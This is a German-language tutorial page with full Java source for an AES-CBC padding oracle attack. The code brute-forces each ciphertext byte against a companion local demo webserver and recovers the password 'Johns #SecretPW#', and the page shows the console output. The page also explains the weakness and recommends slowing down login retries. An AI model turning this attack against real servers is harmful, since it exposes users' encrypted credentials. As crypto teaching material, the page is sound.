Wenn Du auf der Seite G04 DES Padding Oracle gedacht haben solltest – „DES – das ist doch alter Kram, jetzt gibt es doch die sicheren AES-Verfahren“ dann ist diese Seite leider genau richtig für Dich. Ich werde Dir zeigen, das auch die modernere AES-Verschlüsselung im CBC-Modus die gleiche Schwachstelle hat wie das alte DES-Pendant. Hier werde ich jetzt nicht mehr auf die Grundlagen der Schwachstelle eingehen, mehr Informationen erhaltet Ihr auf der oben genannten Seite.
Dieses Beispiel soll realitätsnah zeigen, wie schnell ein (Internet-) Server ein verschlüsseltes Passwort preisgibt und der Hacker diese Information erhält, ohne die eigentliche Verschlüsselung zu knacken. Daher besteht mein Beispiel aus 2 Teilen – hier wird des Hacking-Tool beschrieben und auf der Seite G05 AES Padding Oracle Webserver der dazugehörige Webserver.
Das Erschreckende an diesem Beispiel ist: obwohl wir auf dem Rechner das HTTP-Protokoll nutzen und ein „externer“ Webserver eingeschaltet ist, wird das geheime Benutzerpasswort innerhalb weniger Sekunden ermittelt. Dieses Beispiel zeigt aber auch die Wichtigkeit, bei einem Login-Vorgang nach z.B. 2 Fehlversuchen eine stetig ansteigende Wartezeit für einen Neuversuch zu implementieren, um die Passwortsuche deutlich zu verlangsamen.
Für die Ausführung des Programms ist es notwendig, den Webserver vorab zu starten. Hier wird Deine (Windows-) Firewall anschlagen und um Zustimmung für die Kommunikation bitten – diese Zustimmung musst Du erteilen.
Hier ist der Quellcode des Programms:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 |
package net.bplaced.javacrypto.unsecure; /* * Herkunft/Origin: http://javacrypto.bplaced.net/ * Programmierer/Programmer: Michael Fehr * Copyright/Copyright: frei verwendbares Programm (Public Domain) * Copyright: This is free and unencumbered software released into the public domain. * Lizenztext/Licence: <http://unlicense.org> * getestet mit/tested with: Java Runtime Environment 8 Update 191 x64 * getestet mit/tested with: Java Runtime Environment 11.0.1 x64 * Datum/Date (dd.mm.jjjj): 09.10.2019 * Projekt/Project: G05 AES Padding Orakel / G05 AES Padding Oracle * Funktion: zeigt die Unsicherheit durch das Padding Orakel * Function: shows the unsecurement through the padding oracle * * Sicherheitshinweis/Security notice * Die Programmroutinen dienen nur der Darstellung und haben keinen Anspruch auf eine korrekte Funktion, * insbesondere mit Blick auf die Sicherheit ! * Prüfen Sie die Sicherheit bevor das Programm in der echten Welt eingesetzt wird. * The program routines just show the function but please be aware of the security part - * check yourself before using in the real world ! * * Das Projekt basiert auf dem nachfolgenden Artikel: * The project is based on this article: * https://blog.skullsecurity.org/2013/a-padding-oracle-example * * Das Programm benötigt den gestarteten Webserver (G05_AesPaddingOracleWebserver). * Before you start this program the webserver needs to get started first * (G05_AesPaddingOracleWebserver). * */ import java.util.Arrays; import java.util.Base64; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; public class G05_AesPaddingOracle { public static void main(String[] args) throws Exception { System.out.println("G05 AES CBC Padding Oracle"); // init der variablen byte[] iv16Byte = null; // init-vector für aes byte[] ciphertextOrgByte = null; // ciphertext from encryption byte[] ciphertextCompleteByte = null; // iv+ciphertextOrgByte String ciphertextCompleteBase64 = ""; int blockLengthInt = 16; int blockNumberInt = 0; // ctCompleteByte.length / blockLengthInt byte[] inputByte = null; // gesamte daten iv + ct für die übergabe an die oracle-routine byte[] ciphertextBlock1Byte = null; // linker cipherttext byte[] ciphertextBlock2Byte = null; // rechter ciphertext byte[] plaintextBlock2Byte = null; // rechter plaintext // die erzeugung des ciphertextes ist diesem programm grundsaetzlich unbekannt // ciphertextCompleteBase64 = // "MTIzNDU2Nzg5MGFiY2RlZj33PQPvsvin1HlKw9z7HFTS8Oiw35RMU/0TI0dxmENJ"; // aus // dem cookie // data: Tom #Geheim1 # // MTIzNDU2Nzg5MGFiY2RlZj33PQPvsvin1HlKw9z7HFTS8Oiw35RMU/0TI0dxmENJ // alternative daten ciphertextCompleteBase64 = "MTIzNDU2Nzg5MGFiY2RlZtgYNOrTB3i6R+yyVv9f8XUlg+Rg/REhlyn5Wfbt443x"; // data: Johns #SecretPW# // MTIzNDU2Nzg5MGFiY2RlZtgYNOrTB3i6R+yyVv9f8XUlg+Rg/REhlyn5Wfbt443x ciphertextCompleteByte = Base64.getDecoder().decode(ciphertextCompleteBase64); // aufteilung iv + ciphertext iv16Byte = Arrays.copyOfRange(ciphertextCompleteByte, 0, 16); ciphertextOrgByte = Arrays.copyOfRange(ciphertextCompleteByte, 16, ciphertextCompleteByte.length); blockNumberInt = ciphertextCompleteByte.length / blockLengthInt; // output of the data System.out.println("Encryption process data (AES)"); System.out.println("ctComplete length:" + ciphertextCompleteByte.length + " blockLengthInt:" + blockLengthInt + " blockNumberInt:" + blockNumberInt); System.out.println("ctCompleteByte :" + bytesToHex(ciphertextCompleteByte)); System.out.println("iv16Byte :" + bytesToHex(iv16Byte)); System.out.println("ciphertextOrgByte :" + bytesToHex(ciphertextOrgByte)); System.out.println("----------------------------------------"); System.out.println("Cutting ciphertextCompleteByte in blocks"); inputByte = Arrays.copyOf(ciphertextCompleteByte, ciphertextCompleteByte.length); // complete data System.out.println("inputByte :" + bytesToHex(inputByte)); // block 1: ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 0, 16); System.out.println("ct 01 :" + bytesToHex(ciphertextBlock1Byte)); // block 2: ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 16, 32); System.out.println("ct 02 :" + bytesToHex(ciphertextBlock1Byte)); // block 3: ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 32, 48); System.out.println("ct 03 :" + bytesToHex(ciphertextBlock1Byte)); // block 3: ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 48, 64); System.out.println( "ct 04 :" + bytesToHex(ciphertextBlock1Byte)); System.out.println("----------------------------------------"); System.out.println("Tampering block 2 with block 1"); ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 0, 16); System.out.println("ct 01 :" + bytesToHex(ciphertextBlock1Byte)); ciphertextBlock2Byte = Arrays.copyOfRange(inputByte, 16, 32); System.out.println("ct 02 :" + bytesToHex(ciphertextBlock2Byte)); System.out.println("----------------------------------------"); plaintextBlock2Byte = PaddingOracleWrapperExW(ciphertextBlock1Byte, ciphertextBlock2Byte, blockLengthInt); System.out.println("plaintextBlock1Byte str:" + new String(plaintextBlock2Byte)); String ptBlock2 = new String(plaintextBlock2Byte); System.out.println("----------------------------------------"); System.out.println("Tampering block 3 with block 2"); ciphertextBlock1Byte = Arrays.copyOfRange(inputByte, 16, 32); System.out.println("ct 02 :" + bytesToHex(ciphertextBlock1Byte)); ciphertextBlock2Byte = Arrays.copyOfRange(inputByte, 32, 48); System.out.println("ct 03 :" + bytesToHex(ciphertextBlock2Byte)); System.out.println("----------------------------------------"); plaintextBlock2Byte = PaddingOracleWrapperExW(ciphertextBlock1Byte, ciphertextBlock2Byte, blockLengthInt); System.out.println("plaintextBlock2Byte str:" + new String(plaintextBlock2Byte)); System.out.println("----------------------------------------"); String ptBlock3 = new String(plaintextBlock2Byte); // unpadding int unpadInt = unpad(plaintextBlock2Byte, 0, 16); // public int unpad(byte[] in, int off, int len) { String ptBlock3Unpad = ptBlock3.substring(0, unpadInt); System.out.println("Daten im Klartext"); String ptBlock23 = ptBlock2 + ptBlock3Unpad; System.out.println("plaintextBlockByte2+3:" + ptBlock23); System.out.println("----------------------------------------"); System.out.println("G05 AES CBC Padding Oracle beendet"); } // nutzt einen externen webserver als oracle public static byte[] PaddingOracleWrapperExW(byte[] ciphertextBlock1Byte, byte[] ciphertextBlock2Byte, int blockLengthInt) throws Exception { byte[] ciphertextBlock1ByteT = null; byte[] plaintextBlock2Byte = null; int ciphertextBlock1ByteTByte = 0; int poD = 0; // ab hier mit einer methode fuer die kapselung ciphertextBlock1ByteT = Arrays.copyOf(ciphertextBlock1Byte, ciphertextBlock1Byte.length); for (int i = 0; i < blockLengthInt; i++) { ciphertextBlock1ByteT[i] = (byte) 0; } plaintextBlock2Byte = Arrays.copyOf(ciphertextBlock1ByteT, ciphertextBlock1ByteT.length); // schleife beginnt am ende for (int TB = (blockLengthInt - 1); TB >= 0; TB--) { ciphertextBlock1ByteTByte = TB; // tampering byte 0..8 bzw. 0..15 // calculate last byte of ciphertextBlock1ByteT[5+6+7]: for (int cal = 0; (cal + ciphertextBlock1ByteTByte) < (blockLengthInt); cal++) { ciphertextBlock1ByteT[(ciphertextBlock1ByteTByte + cal)] = (byte) ((byte) (blockLengthInt - ciphertextBlock1ByteTByte) ^ (byte) plaintextBlock2Byte[(ciphertextBlock1ByteTByte + cal)] ^ ciphertextBlock1Byte[(ciphertextBlock1ByteTByte + cal)]); } poD = PaddingOracle16ExW(ciphertextBlock1Byte, ciphertextBlock1ByteT, ciphertextBlock2Byte, ciphertextBlock1ByteTByte); plaintextBlock2Byte[ciphertextBlock1ByteTByte] = (byte) poD; } return plaintextBlock2Byte; } // nutzung eines externen webservers als oracle // antworten des oracels // 0=decryption 1=bad padding 2=general error public static int PaddingOracle16ExW(byte[] ciphertextBlock1Byte, byte[] ciphertextBlock1ByteT, byte[] ciphertextBlock2Byte, int number) throws Exception { byte po = 0; int DecryptStatus = 0; int poD = 0; for (int i = 0; i < 256; i++) { ciphertextBlock1ByteT[number] = (byte) i; byte[] input = new byte[ciphertextBlock1ByteT.length + ciphertextBlock2Byte.length]; System.arraycopy(ciphertextBlock1ByteT, 0, input, 0, 16); System.arraycopy(ciphertextBlock2Byte, 0, input, 16, ciphertextBlock2Byte.length); Base64.Encoder encURL = Base64.getUrlEncoder(); byte[] inputUrl = encURL.encode(input); String inputString = new String(inputUrl); // aufruf des webservers DecryptStatus = getCode(inputString); if (DecryptStatus == 0) { po = (byte) i; break; } } poD = ((byte) (16 - number) ^ po ^ ciphertextBlock1Byte[number]); return poD; } // präparierte zeile an den server senden public static int getCode(String zeileString) { Integer code = 1; String hostString = "http://localhost:8079/"; String sendString = hostString + zeileString; try { URL url = new URL(sendString); URLConnection con = url.openConnection(); con.connect(); String head = con.getHeaderField(0); if (head.equals("HTTP/1.1 500 Invalid Padding") || head.equals("HTTP/1.1 500 Internal Server Error")) { code = 1; } else if (head.equals("HTTP/1.1 200 OK")) { code = 0; } else if (head.equals("HTTP/1.1 400 Bad Request")) { code = 2; } else { code = 2; } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return code; } private static String bytesToHex(byte[] hash) { return printHexBinary(hash); } public static String printHexBinary(byte[] bytes) { final char[] hexArray = "0123456789ABCDEF".toCharArray(); char[] hexChars = new char[bytes.length * 2]; for (int j = 0; j < bytes.length; j++) { int v = bytes[j] & 0xFF; hexChars[j * 2] = hexArray[v >>> 4]; hexChars[j * 2 + 1] = hexArray[v & 0x0F]; } return new String(hexChars); } /** * Returns the index where the padding starts. * * <p> * Given a buffer with padded data, this method returns the index where the * padding starts. * * @param in the buffer with the padded data * @param off the offset in <code>in where the padded data starts * @param len the length of the padded data * * @return the index where the padding starts, or -1 if the input is not * properly padded */ public static int unpad(byte[] in, int off, int len) { int blockSize = 16; if ((in == null) || (len == 0)) { // this can happen if input is really a padded buffer return 0; } byte lastByte = in[off + len - 1]; int padValue = (int) lastByte & 0x0ff; if ((padValue < 0x01) || (padValue > blockSize)) { return -1; } int start = off + len - ((int) lastByte & 0x0ff); if (start < off) { return -1; } for (int i = 0; i < ((int) lastByte & 0x0ff); i++) { if (in[start + i] != lastByte) { return -1; } } return start; } } |
Die Konsole zeigt in erschreckender Klarheit das entschlüsselte Passwort:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
G05 AES CBC Padding Oracle Encryption process data (AES) ctComplete length:48 blockLengthInt:16 blockNumberInt:3 ctCompleteByte :31323334353637383930616263646566D81834EAD30778BA47ECB256FF5FF1752583E460FD11219729F959F6EDE38DF1 iv16Byte :31323334353637383930616263646566 ciphertextOrgByte :D81834EAD30778BA47ECB256FF5FF1752583E460FD11219729F959F6EDE38DF1 ---------------------------------------- Cutting ciphertextCompleteByte in blocks inputByte :31323334353637383930616263646566D81834EAD30778BA47ECB256FF5FF1752583E460FD11219729F959F6EDE38DF1 ct 01 :31323334353637383930616263646566 ct 02 :D81834EAD30778BA47ECB256FF5FF175 ct 03 :2583E460FD11219729F959F6EDE38DF1 ct 04 :00000000000000000000000000000000 ---------------------------------------- Tampering block 2 with block 1 ct 01 :31323334353637383930616263646566 ct 02 :D81834EAD30778BA47ECB256FF5FF175 ---------------------------------------- plaintextBlock1Byte str:Johns #SecretP ---------------------------------------- Tampering block 3 with block 2 ct 02 :D81834EAD30778BA47ECB256FF5FF175 ct 03 :2583E460FD11219729F959F6EDE38DF1 ---------------------------------------- plaintextBlock2Byte str:W# ---------------------------------------- Daten im Klartext plaintextBlockByte2+3:Johns #SecretPW# ---------------------------------------- G05 AES CBC Padding Oracle beendet |
Alle Quellcodes zu den Unsicherheiten findet Ihr zum Download in meinem Github-Repository, welches Ihr über diesen Link erreicht: https://github.com/java-crypto/G-Unsicherheit. Alle Programme sind sowohl unter Java 8 als auch unter Java 11 lauffähig.
Die Lizenz zum obigen Beispiel findet Ihr auf der eigenen Lizenz-Seite.
Letzte Aktualisierung: 09.10.2019